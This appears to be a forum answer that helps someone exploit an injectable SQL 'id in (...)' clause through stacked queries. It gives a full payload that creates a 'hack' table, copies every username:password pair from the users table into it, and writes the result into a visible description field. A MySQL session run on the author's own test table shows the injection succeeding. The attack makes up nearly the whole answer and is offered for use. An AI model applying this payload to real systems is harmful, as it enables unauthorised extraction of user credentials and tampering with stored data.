Does your code allow putting multiple statements in the same query?
E.g. to append
); next query; next query; etc
Would that work? I did a little experiment which indicates that if you can append queries you may achieve what you want. In my experiment I used only one id (with value 1), and appended the following:
1); create table if not exists hack (id int primary key, hacked_data text); insert ignore into hack (id, hacked_data) select id, concat(username, ':', password) from users; update users set description = (select hacked_data from hack where id in (1)
with that, I was able to construct an update statement that does not break:
mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| users |
+----------------+
1 row in set (0.01 sec)
mysql> select * from users;
+----+----------+-------------+-------------+
| id | username | password | description |
+----+----------+-------------+-------------+
| 1 | spyros | my-password | test-data |
+----+----------+-------------+-------------+
1 row in set (0.00 sec)
mysql> select description from users where id in (1); create table if not exists hack (id int primary key, hacked_data text); insert ignore into hack (id, hacked_data) select id, concat(username, ':', password) from users; update users set description = (select hacked_data from hack where id in (1));
+-------------+
| description |
+-------------+
| test-data |
+-------------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.02 sec)
Query OK, 1 row affected (0.00 sec)
Records: 1 Duplicates: 0 Warnings: 0
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from users;
+----+----------+-------------+--------------------+
| id | username | password | description |
+----+----------+-------------+--------------------+
| 1 | spyros | my-password | spyros:my-password |
+----+----------+-------------+--------------------+
1 row in set (0.00 sec)
mysql> select * from hack;
+----+--------------------+
| id | hacked_data |
+----+--------------------+
| 1 | spyros:my-password |
+----+--------------------+
1 row in set (0.00 sec)
mysql> update users set description = 'test-data' where id in (1); create table if not exists hack (id int primary key, hacked_data text); insert ignore into hack (id, hacked_data) select id, concat(username, ':', password) from users; update users set description = (select hacked_data from hack where id in (1));
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
Query OK, 0 rows affected, 1 warning (0.00 sec)
Query OK, 0 rows affected, 1 warning (0.00 sec)
Records: 1 Duplicates: 1 Warnings: 1
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from users;
+----+----------+-------------+--------------------+
| id | username | password | description |
+----+----------+-------------+--------------------+
| 1 | spyros | my-password | spyros:my-password |
+----+----------+-------------+--------------------+
1 row in set (0.00 sec)
mysql>
I hope this helps.